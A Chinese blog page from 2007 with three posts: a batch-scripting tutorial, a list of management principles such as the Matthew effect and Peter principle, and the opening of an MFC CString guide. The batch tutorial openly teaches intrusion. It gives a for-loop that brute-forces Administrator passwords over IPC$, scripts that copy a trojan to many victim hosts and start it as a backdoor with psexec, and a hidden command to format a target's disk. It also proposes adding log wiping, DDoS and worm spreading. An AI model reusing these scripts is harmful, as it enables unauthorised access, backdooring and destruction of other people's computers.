教程

我的日志
  • 简明批处理2007-1-26
    最近对于批处理技术的探讨比较热,也有不少好的批处理程序发布,但是如果没有一定的相关知识恐怕不容易看懂和理解这些批处理文件,也就更谈不上自己动手编写了,古语云:“授人以鱼,不如授人以渔。”因为网上好像并没有一个比较完整的教材,所以抽一点时间写了这片<<简明批处理教程>>给新手朋友们.也献给所有为实现网络的自由与共享而努力的朋友们.



    批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用,例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。



    一.简单批处理内部命令简介



    1.Echo 命令

    打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。

    语法

    echo [{on|off}] [message]

    Sample:@echo off / echo hello world

    在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。



    2.@ 命令

    表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。

    Sample:@echo off

    @echo Now initializing the program,please wait a minite...

    @format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)



    3.Goto 命令

    指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。

    语法:goto label (label是参数,指定所要转向的批处理程序中的行。)

    Sample:

    if {%1}=={} goto noparms

    if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)

    @Rem check parameters if null show usage

    :noparms

    echo Usage: monitor.bat ServerIP PortNumber

    goto end

    标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。



    4.Rem 命令

    注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。

    Rem Message

    Sample:@Rem Here is the descrīption.



    5.Pause 命令

    运行 Pause 命令时,将显示下面的消息:

    Press any key to continue . . .

    Sample:

    @echo off

    :begin

    copy a:*.* d:/back

    echo Please put a new disk into driver A

    pause

    goto begin

    在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:/back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。



    6.Call 命令

    从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。

    语法

    call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]

    参数

    [Drive:}[Path] FileName

    指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。



    7.start 命令

    调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。

    入侵常用参数:

    MIN 开始时窗口最小化

    SEPARATE 在分开的空间内开始 16 位 Windows 程序

    HIGH 在 HIGH 优先级类别开始应用程序

    REALTIME 在 REALTIME 优先级类别开始应用程序

    WAIT 启动应用程序并等候它结束

    parameters 这些为传送到命令/程序的参数

    执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。

    8.choice 命令

    choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……

    如: choice /c:dme defrag,mem,end

    将显示

    defrag,mem,end[D,M,E]?

    Sample:

    Sample.bat的内容如下:

    @echo off

    choice /c:dme defrag,mem,end

    if errorlevel 3 goto defrag (应先判断数值最高的错误码)

    if errorlevel 2 goto mem

    if errotlevel 1 goto end



    :defrag

    c:/dos/defrag

    goto end

    :mem

    mem

    goto end

    :end

    echo good bye



    此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。



    9.If 命令



    if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:

    1、if "参数" == "字符串"  待执行的命令

    参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)

    如if "%1"=="a" format a:

    if {%1}=={} goto noparms

    if {%2}=={} goto noparms



    2、if exist 文件名  待执行的命令

    如果有指定的文件,则条件成立,运行命令,否则运行下一句。

    如if exist config.sys edit config.sys



    3、if errorlevel / if not errorlevel 数字  待执行的命令

    如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。

    如if errorlevel 2 goto x2  

    DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。



    10.for 命令

    for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。

    在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable



    for {%variable|%%variable} in (set) do command [ CommandLineOptions]

    %variable 指定一个单一字母可替换的参数。

    (set) 指定一个或一组文件。可以使用通配符。

    command 指定对每个文件执行的命令。

    command-parameters 为特定命令指定参数或命令行开关。

    在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable

    而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I



    如果命令扩展名被启用,下列额外的 FOR 命令格式会受到

    支持:



    FOR /D %variable IN (set) DO command [command-parameters]



    如果集中包含通配符,则指定与目录名匹配,而不与文件

    名匹配。



    FOR /R [[drive:]path] %variable IN (set) DO command [command-



    检查以 [drive:]path 为根的目录树,指向每个目录中的

    FOR 语句。如果在 /R 后没有指定目录,则使用当前

    目录。如果集仅为一个单点(.)字符,则枚举该目录树。



    FOR /L %variable IN (start,step,end) DO command [command-para



    该集表示以增量形式从开始到结束的一个数字序列。

    因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生

    序列 (5 4 3 2 1)。



    FOR /F ["options"] %variable IN (file-set) DO command

    FOR /F ["options"] %variable IN ("string") DO command

    FOR /F ["options"] %variable IN (command) DO command



    或者,如果有 usebackq 选项:



    FOR /F ["options"] %variable IN (file-set) DO command

    FOR /F ["options"] %variable IN ("string") DO command

    FOR /F ["options"] %variable IN (command) DO command



    filenameset 为一个或多个文件名。继续到 filenameset 中的

    下一个文件之前,每份文件都已被打开、读取并经过处理。

    处理包括读取文件,将其分成一行行的文字,然后将每行

    解析成零或更多的符号。然后用已找到的符号字符串变量值

    调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开

    的第一个空白符号。跳过空白行。您可通过指定可选 "options"

    参数替代默认解析操作。这个带引号的字符串包括一个或多个

    指定不同解析选项的关键字。这些关键字为:



    eol=c - 指一个行注释字符的结尾(就一个)

    skip=n - 指在文件开始时忽略的行数。

    delims=xxx - 指分隔符集。这个替换了空格和跳格键的

    默认分隔符集。

    tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代

    的 for 本身。这会导致额外变量名称的

    格式为一个范围。通过 nth 符号指定 m

    符号字符串中的最后一个字符星号,

    那么额外的变量将在最后一个符号解析之

    分配并接受行的保留文本。

    usebackq - 指定新语法已在下类情况中使用:

    在作为命令执行一个后引号的字符串并且

    引号字符为文字字符串命令并允许在 fi

    中使用双引号扩起文件名称。



    sample1:

    FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command



    会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将

    每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或

    空格定界符号。请注意,这个 for 程序体的语句引用 %i 来

    取得第二个符号,引用 %j 来取得第三个符号,引用 %k

    来取得第三个符号后的所有剩余符号。对于带有空格的文件

    名,您需要用双引号将文件名括起来。为了用这种方式来使

    用双引号,您还需要使用 usebackq 选项,否则,双引号会

    被理解成是用作定义某个要分析的字符串的。



    %i 专门在 for 语句中得到说明,%j 和 %k 是通过

    tokens= 选项专门得到说明的。您可以通过 tokens= 一行

    指定最多 26 个符号,只要不试图说明一个高于字母 z 或

    Z 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;

    同时不能有 52 个以上都在使用中。



    您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,

    用单引号将括号之间的 filenameset 括起来。这样,该字符

    串会被当作一个文件中的一个单一输入行。



    最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将

    括号之间的 filenameset 变成一个反括字符串。该字符串会

    被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进

    内存,并被当作文件分析。因此,以下例子:



    FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i



    会枚举当前环境中的环境变量名称。



    另外,FOR 变量参照的替换已被增强。您现在可以使用下列

    选项语法:



    ~I - 删除任何引号("),扩充 %I

    %~fI - 将 %I 扩充到一个完全合格的路径名

    %~dI - 仅将 %I 扩充到一个驱动器号

    %~pI - 仅将 %I 扩充到一个路径

    %~nI - 仅将 %I 扩充到一个文件名

    %~xI - 仅将 %I 扩充到一个文件扩展名

    %~sI - 扩充的路径只含有短名

    %~aI - 将 %I 扩充到文件的文件属性

    %~tI - 将 %I 扩充到文件的日期/时间

    %~zI - 将 %I 扩充到文件的大小

    %~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充

    到找到的第一个完全合格的名称。如果环境变量

    未被定义,或者没有找到文件,此组合键会扩充

    空字符串



    可以组合修饰符来得到多重结果:



    %~dpI - 仅将 %I 扩充到一个驱动器号和路径

    %~nxI - 仅将 %I 扩充到一个文件名和扩展名

    %~fsI - 仅将 %I 扩充到一个带有短名的完整路径名

    %~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充

    到找到的第一个驱动器号和路径。

    %~ftzaI - 将 %I 扩充到类似输出线路的 DIR



    在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法

    用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名

    比较易读,而且避免与不分大小写的组合键混淆。



    以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。



    sample2:



    利用For命令来实现对一台目标Win2k主机的暴力密码破解。

    我们用net use //ip/ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。

    最主要的命令是一条:for /f i% in (dict.txt) do net use //ip/ipc$ "i%" /u:"administrator"

    用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--

    for /f i%% in (dict.txt) do net use //ip/ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:/ok.txt ,这样就ko了。



    sample3:



    你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。



    主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)

    @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k

    tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。

    而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。

    delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。

    代码雏形:

    --------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------

    @echo off

    @if "%1"=="" goto usage

    @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k

    @goto end

    :usage

    @echo run this batch in dos modle.or just double-click it.

    :end

    --------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------





    ------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------

    @net use //%1/ipc$ %3 /u:"%2"

    @if errorlevel 1 goto failed

    @echo Trying to establish the IPC$ connection …………OK

    @copy windrv32.exe//%1/admin$/system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt

    @psexec //%1 c:/winnt/system32/windrv32.exe

    @psexec //%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt

    :failed

    @echo Sorry can not connected to the victim.

    ----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------

    这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容

    尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.



    No.2

    二.如何在批处理文件中使用参数

    批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。

    sample1:fomat.bat

    @echo off

    if "%1"=="a" format a:

    :format

    @format a:/q/u/auotset

    @echo please insert another disk to driver A.

    @pause

    @goto fomat

    这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~^_^

    sample2:

    当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。

    @echo off

    @net use //1%/ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。

    @if errorlevel 1 echo connection failed

    怎么样,使用参数还是比较简单的吧?你这么帅一定学会了^_^.No.3

    三.如何使用组合命令(Compound Command)



    1.&



    Usage:第一条命令 & 第二条命令 [& 第三条命令...]



    用这种方法可以同时执行多条命令,而不管命令是否执行成功



    Sample:

    C:/>dir z: & dir c:/Ex4rch

    The system cannot find the path specified.

    Volume in drive C has no label.

    Volume Serial Number is 0078-59FB



    Directory of c:/Ex4rch



    2002-05-14 23:51

    .

    2002-05-14 23:51

    ..

    2002-05-14 23:51 14 sometips.gif



    2.&&



    Usage:第一条命令 && 第二条命令 [&& 第三条命令...]



    用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;



    Sample:

    C:/>dir z: && dir c:/Ex4rch

    The system cannot find the path specified.



    C:/>dir c:/Ex4rch && dir z:

    Volume in drive C has no label.

    Volume Serial Number is 0078-59FB



    Directory of c:/Ex4rch



    2002-05-14 23:55

    .

    2002-05-14 23:55

    ..

    2002-05-14 23:55 14 sometips.gif

    1 File(s) 14 bytes

    2 Dir(s) 768,671,744 bytes free

    The system cannot find the path specified.



    在做备份的时候可能会用到这种命令会比较简单,如:

    dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:/backup

    如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 :)



    3.||



    Usage:第一条命令 || 第二条命令 [|| 第三条命令...]



    用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;



    Sample:

    C:/Ex4rch>dir sometips.gif || del sometips.gif

    Volume in drive C has no label.

    Volume Serial Number is 0078-59FB



    Directory of C:/Ex4rch



    2002-05-14 23:55 14 sometips.gif

    1 File(s) 14 bytes

    0 Dir(s) 768,696,320 bytes free



    组合命令使用的例子:

    sample:

    @copy trojan.exe //%1/admin$/system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt
  • 2007-1-14
    一、马太效应
      
      《新约·马太福音》中有这样一个故事,一个国王远行前,交给三个仆人每人一锭银子,吩咐他们:“你们去做生意,等我回来时,再来见我。”国王回来时,第一个仆人说:“主人,你交给我们的一锭银子,我已赚了1 0锭。”于是国王奖励他10座城邑。第二个仆人报告说:“主人,你给我的一锭银子,我已赚了5锭。”于是国王例奖励了他5座城邑。第三个仆人报告说:“主人,你给我的一锭银子,我一直包在手巾里存着,我怕丢失,一直没有拿出来。”于是国王命令将第三个仆人的一锭银子也赏给第一个仆人,并且说:“凡是少的,就连他所有的也要夺过来。凡是多的,还要给他,叫他多多益善。”这就是马太效应。看看我们周围,就可以发现许多马太效应的例子。朋友多的人会借助频繁的交往得到更多的朋友;缺少朋友的人会一直孤独下去。金钱方面更是如此,即使投资回报率相同,一个比别人投资多1 0倍的人,收益也多10倍。 这是个赢家通吃的社会,善用马太效应,赢家就是你。
      
      对企业经营发展而言,马太效应则告诉我们,要想在某一个领域保持优势,就必须在此领域迅速做大。当你成为某个领域的领头羊的时候,即使投资回报率相同,你也能更轻易的获得比弱小的同行更大的收益。而若没有实力迅速在某个领域做大,就要不停地寻找新的发展领域,才能保证获得较好的回报。
      
      
      二、手表定理
      
      手表定理是指一个人有一只表时,可以知道现在是几点钟,而当他同时拥有两只表时却无法确定。两只表并不能告诉一个人更准确的时间,反而会让看表的人失去对准确时间的信心。你要做的就是选择其中较信赖的一只,尽力校准它,并以此作为你的标准,听从它的指引行事。记住尼采的话:“兄弟,如果你是幸运的,你只需有一种道德而不要贪多,这样,你过桥更容易些。” 如果每个人都“选择你所爱,爱你所选择”,无论成败都可以心安理得。然而,困扰很多人的是:他们被“两只表”弄得无所,心身交瘁,不知自己该信仰哪一个,还有人在环境、他人的压力下,违心选择了自己并不喜欢的道路,为此而郁郁终生,即使取得了受人瞩目的成就,也体会不到成功的快乐。
      
      手表定理在企业经营管理方面给我们一种非常直观的启发,就是对同一个人或同一个组织的管理不能同时采用两种不同的方法,不能同时设置两个不同的目标。甚至每一个人不能由两个人来同时指挥,否则将使这个企业或这个人无所适从。手表定理所指的另一层含义在于每个人都不能同时挑选两种不同的价值观,否则,你的行为将陷于混乱。
      
      
      三、不值得定律
      
      不值得定律最直观的表述是:不值得做的事情,就不值得做好,这个定律似乎再简单不过了,但它的重要性却时时被人们疏忘。不值得定律反映出人们的一种心理,一个人如果从事的是一份自认为不值得做的事情,往往会保持冷嘲热讽,敷衍了事的态度。不仅成功率小,而且即使成功,也不会觉得有多大的成就感。
      
      哪些事值得做呢?一般而言,这取决于三个因素。
      
      1、价值观。关于价值观我们已经谈了很多,只有符合我们价值观的事,我们才会满怀热情去做。
      
      2、个性和气质。一个人如果做一份与他的个性气质完全背离的工作,他是很难做好的,如一个好交往的人成了档案员,或一个害羞者不得不每天和不同的人打交道。
      
      3、现实的处境。同样一份工作,在不同的处境下去做,给我们的感受也是不同的。例如,在一家大公司,如果你最初做的是打杂跑腿的工作,你很可能认为是不值得的,可是,一旦你被提升为领班或部门经理,你就不会这样认为了。
      
      总结一下,值得做的工作是:符合我们的价值观,适合我们的个性与气质,并能让我们看到期望。如果你的工作不具备这三个因素,你就要考虑换一个更合适的工作,并努力做好它。
      
      因此,对个人来说,应在多种可供选择的奋斗目标及价值观中挑选一种,然后为之而奋斗。“选择你所爱的,爱你所选择的”,才可能激发我们的奋斗毅力,也才可以心安理得。而对一个企业或组织来说,则要很好地分析员工的性格特性,合理分配工作,如让成就欲较强的职工单独或牵头来完成具有一定风险和难度的工作,并在其完成时给予定时的肯定和赞扬;让依附欲较强的职工更多地参加到某个团体中共同工作;让权力欲较强的职工担任一个与之能力相适应的主管。同时要加强员工对企业目标的认同感,让员工感觉到自己所做的工作是值得的,这样才能激发职工的热情。
      
      
      四、彼得原理
      
      彼得原理是美国学者劳伦斯?彼得在对组织中人员晋升的相关现象研究后得出的一个结论;在各种组织中,由于习惯于对在某个等级上称职的人员进行晋升提拔,因而雇员总是趋向于晋升到其不称职的地位。彼得原理有时也被称为“向上爬”原理。这种现象在现实生活中无处不在:一名称职的教授被提升为大学校长后无法胜任;一个优秀的运动员被提升为主管体育的官员,而无所作为。
      
      对一个组织而言,一旦组织中的相当部分人员被推到了其不称职的级别,就会造成组织的人浮于事,效率低下,导致平庸者出人头地,发展停滞。因此,这就要求改变单纯的“根据贡献决定晋升”的企业员工晋升机制,不能因某个人在某一个岗位级别上干得很出色,就推断此人一定能够胜任更高一级的职务。要建立科学、合理的人员选聘机制,客观评价每一位职工的能力和水平,将职工安排到其可以胜任的岗位。不要把岗位晋升当成对职工的主要奖励方式,应建立更有效的奖励机制,更多地以加薪、休假等方式作为奖励手段。有时将一名职工晋升到一个其无法很好发挥才能的岗位,不仅不是对职工的奖励,反而使职工无法很好发挥才能,也给企业带来损失。
      
      对个人而言,虽然我们每个人都期待着不停地升职,但不要将往上爬作为自己的惟一动力。与其在一个无法完全胜任的岗位勉力支撑、无所适从,还不如找一个自己能游刃有余的岗位好好发挥自己的专长。
      五、零和游戏原理
      当你看到两位对弈者时,你就可以说他们正在玩“零和游戏”。因为在大多数情况下,总会有一个赢,一个输,如果我们把获胜计算为得1 分,而输棋为-1分,那么,这两人得分之和就是:1 (-1)=0。
      
      这正是“零和游戏”的基本内容:游戏者有输有赢,一方所赢正是另一方所输,游戏的总成绩永远是零。
      
      零和游戏原理之所以广受关注,主要是因为人们发现在社会的方方面面都能发现与“零和游戏”类似的局面,胜利者的光荣后面往往隐藏着失败者的辛酸和苦涩。从个人到国家,从政治到经济,似乎无不验证了世界正是一个巨大的“零和游戏”场。这种理论认为,世界是一个封闭的系统,财富、资源、机遇都是有限的,个别人、个别地区和个别国家财富的增加必然意味着对其他人、其他地区和国家的掠夺,这是一个“邪恶进化论”式的弱肉强食的世界。
      
      但20世纪人类在经历了两次世界大战,经济的高速增长、科技进步、全球化以及日益严重的环境污染之后,“零和游戏”观念正逐渐被“双赢”观念所取代。人们开始认识到“利己”不一定要建立在“损人”的基础上。通过有效合作,皆大欢喜的结局是可能出现的。但从“零和游戏”走向“双赢”,要求各方要有真诚合作的精神和勇气,在合作中不要耍小聪明,不要总想占别人的小便宜,要遵守游戏规则,否则“双赢”的局面就不可能出现,最终吃亏的还是自己。
      
      
      六、华盛顿合作规律。
      
      华盛顿合作规律说的是:一个人敷衍了事,两个人互相推诿,三个人则永无成事之日。多少有点类似于我们“三个和尚”的故事。人与人的合作不是人力的简单相加,而是要复杂和微妙得多。在人与人的合作中,假定每个人的能力都为1 ,那么10个人的合作结果就有时比10大得多,有时甚至比1还要小。因为人不是静止的动物,而更像方向各异的能量,相推动时自然事半功倍,相互抵触时则一事无成。我们传统的管理理论中,对合作研究得并不多,最直观的反映就是,目前的大多数管理制度和行业都是致力于减少人力的无谓消耗,而非利用组织提高人的效能。换言之,不妨说管理的主要目的不是让每个人做到最好,而是避免内耗过多。2 1世纪将是一个合作的时代,值得庆幸的是,越来越多的人已经认识到真诚合作的重要性,正在努力学习合作。
      
      邦尼人力定律:一个人一分钟可以挖一个洞,六十个人一秒种却挖不了一个洞。
      
      合作是一个问题,如何合作也是一个问题。
      
      
      七、酒与污水定律
      
      酒与污水定律是指,如果把一匙酒倒进一桶污水中,你得到的是一桶污水;如果把一匙污水倒进一桶酒中,你得到的还是一桶污水。几乎在任何组织里,都存在几个难弄的人物,他们存在的目的似乎就是为了把事情搞糟。他们到处搬弄是非,传播流言、破坏组织内部的和谐。最糟糕的是,他们像果箱里的烂苹果,如果你不及时处理,它会迅速传染,把果箱里其它苹果也弄烂,“烂苹果”的可怕之处在于它那惊人的破坏力。一个正直能干的人进入一个混乱的部门可能会被吞没,而一个人无德无才者能很快将一个高效的部门变成一盘散沙。组织系统往往是脆弱的,是建立在相互理解、妥协和容忍的基础上的,它很容易被侵害、被毒化。破坏者能力非凡的另一个重要原因在于,破坏总比建设容易。一个能工巧匠花费时日精心制作的陶瓷器,一头驴子一秒钟就能毁坏掉。如果拥有再多的能工巧匠,也不会有多少像样的工作成果。如果你的组织里有这样的一头驴子,你应该马上把它清除掉;如果你无力这样做,你就应该把它拴起来。
      
      
      八、水桶定律
      
      水桶定律是讲,一只水桶能装多少水,完全取决于它最短的那块木板。这就是说任何一个组织都可能面临的一个共同问题,即构成组织的各个部分往往决定了整个组织的水平。
      
      构成组织的各个部分往往是优劣不齐的,而劣质部分往往又决定整个组织的水平。
      
      “水桶定律”与“酒与污水定律”不同,后者讨论的是组织中的破坏力量,而“最短的木板”却是组织中有用的一个部分,只不过比其它部分差一些,你不能把它们当成烂苹果扔掉。强弱只是相对而言的,无法消除。问题在于你容忍这种弱点到什么程度。如果它严重到成为阻碍工作的瓶颈,就不得不有所动作。
      
      如果你在一个组织中,你应该:
      
      1、确保你不是最薄弱的部分;
      
      2、避免或减少这一薄弱环节对你成功的影响;
      
      3、如果不幸,你正处在这一环节中,你还可以采取有效的方法改进,或者转职去谋另一份工作。
      
      
      九、蘑菇管理
      
      蘑菇管理是许多组织对待初出茅庐者的一种管理方法,初学者被置于阴暗的角落(不受重视的部门,或打杂跑腿的工作),浇上一头大粪(无端的批评、指责、代人受过),任其自生自灭(得不到必要的指导和提携)。相信很多人都有这样一段“蘑菇”的经历,但这不一定是什么坏事,尤其是当一切都刚刚开始的时候,当上几天“蘑菇”,能够消除我们很多不切实际的幻想,让我们更加接近现实,看问题也更加实际,而对一个组织而言,一般地新进的人员都是一视同仁,从起薪到工作都不会有大的差别。无论你是多么优秀的人才,在刚开始的时候都只能从最简单的事情做起,“蘑菇”的经历对于成长中的年轻人来说,就像蚕茧,是羽化前必须经历的一步。所以,如何高效率地走过生命中的这一段,从中尽可能吸取经验,成熟起来,并树立良好的值得信赖的个人形象,是每个刚入社会的年轻人必须面对的课题。
      
      
      十、奥卡姆剃刀定律
      
      如果你认为只有焦头烂额、忙忙碌碌地工作才可能取得成功,那么,你错了。 事情总是朝着复杂的方向发展,复杂会造成浪费,而效能则来自于单纯。在你做过的事情中可能绝大部分是毫无意义的,真正有效的活动只是其中的一小部分,而它们通常隐含于繁杂的事物中。找到关键的部分,去掉多余的活动,成功并不那么复杂。
      
      奥卡姆剃刀:如无发要,勿增实体。
      
      12世纪,英国奥卡姆的威廉对无休无止的关于“共相”、“本质”之类的争吵感到厌倦,主张唯名论,只承认确实存在的东西,认为那些空洞无物的普遍性要领都是无用的累赘,应当被无情地“剃除”。他主张,“如无必要,勿增实体。”这就是常说的“奥卡姆剃刀”。这把剃刀曾使很多人感到威胁,被认为是异端邪说,威廉本人也受到伤害。然而,这并未损害这把刀的锋利,相反,经过数百年越来越快,并早已超越了原来狭窄的领域而具有广泛的、丰富的、深刻的意义。
      
      奥卡姆剃刀定律在企业管理中可进一步深化为简单与复杂定律:把事情变复杂很简单,把事情变简单很复杂。这个定律要求,我们在处理事情时,要把握事情的主要实质,把握主流,解决最根本的问题。尤其要顺应自然,不要把事情人为地复杂化,这样才能把事情处理好。
      
      
      十一、二八法则
      
      你所完成的工作里80%的成果,来自于你20%的付出;而80%的付出,只换来20%的成果
      
      
      十二、钱的问题
      
      当某人告诉你:“不是钱,而是原则问题”时,十有八九就是钱的问题。
      
      照一般的说法,金钱是价值的尺度,交换的媒介,财富的贮藏。但是这种说法忽略了它的另一面,它令人陶醉、令人疯狂、令人激动的一面,也撇开了爱钱的心理不谈。马克思说,金钱是“人情的离心力”,就是指这一方面而言。
      
      关于金钱的本质、作用和功过,从古到今,人们已经留下了无数精辟深刻的格言和妙语。我们常会看到,人们为钱而兴奋,努力赚钱,用财富的画面挑逗自己。金钱对世界的秩序以及我们的生活产生的影响是巨大的、广泛的,这种影响有时是潜在的,我们往往意识不到它的作用如此巨大,然而奇妙的是:它完全是人类自己创造的。致富的驱动力并不是起源于生物学上的需要,动物生活中也找不到任何相同的现象。它不能顺应基本的目标,不能满足根本的需求- --的确,“致富”的定义就是获得超过自己需要的东西。然而这个看起来漫无目标的驱动力却是人类最强大的力量,人类为金钱而互相伤害,远超过其他原因。
  • 2007-1-14
    不错的文章,转至此:http://wdswei.spaces.live.com/
     
    通过阅读本文你可以学习如何有效地使用 CString。

      CString 是一种很有用的数据类型。它们很大程度上简化了MFC中的许多操作,使得MFC在做字符串操作的时候方便了很多。不管怎样,使用CString有很多特殊的技巧,特别是对于纯C背景下走出来的程序员来说有点难以学习。这篇文章就来讨论这些技巧。
      使用CString可以让你对字符串的操作更加直截了当。这篇文章不是CString的完全手册,但囊括了大部分常见基本问题。

    这篇文章包括以下内容:
    1. CString 对象的连接
    2. 格式化字符串(包括 int 型转化为 CString )
    3. CString 型转化成 int 型
    4. CString 型和 char* 类型的相互转化
    5. char* 转化成 CString
    6. CString 转化成 char* 之一:使用LPCTSTR强制转化
    7. CString 转化成 char* 之二:使用CString对象的GetBuffer方法
    8. CString 转化成 char* 之三: 和控件的接口
    9. CString 型转化成 BSTR 型
    10. BSTR 型转化成 CString 型
    11. VARIANT 型转化成 CString 型
    12. 载入字符串表资源
    13. CString 和临时对象
    14. CString 的效率
    15. 总结
    下面我分别讨论。

    1、 CString 对象的连接

      能体现出 CString 类型方便性特点的一个方面就字符串的连接,使用 CString 类型,你能很方便地连接两个字符串,正如下面的例子:
    CString gray("Gray");
    CString cat("Cat");
    CString graycat = gray + cat;
    要比用下面的方法好得多:
    char gray[] = "Gray";
    char cat[] = "Cat";
    char * graycat = malloc(strlen(gray) + strlen(cat) + 1);
    strcpy(graycat, gray);
    strcat(graycat, cat);
    2、 格式化字符串

      与其用 sprintf() 函数或 wsprintf() 函数来格式化一个字符串,还不如用 CString 对象的Format()方法:
    CString s;
    s.Format(_T("The total is %d"), total);
      用这种方法的好处是你不用担心用来存放格式化后数据的缓冲区是否足够大,这些工作由CString类替你完成。
      格式化是一种把其它不是字符串类型的数据转化为CString类型的最常用技巧,比如,把一个整数转化成CString类型,可用如下方法:
    CString s;
    s.Format(_T("%d"), total);
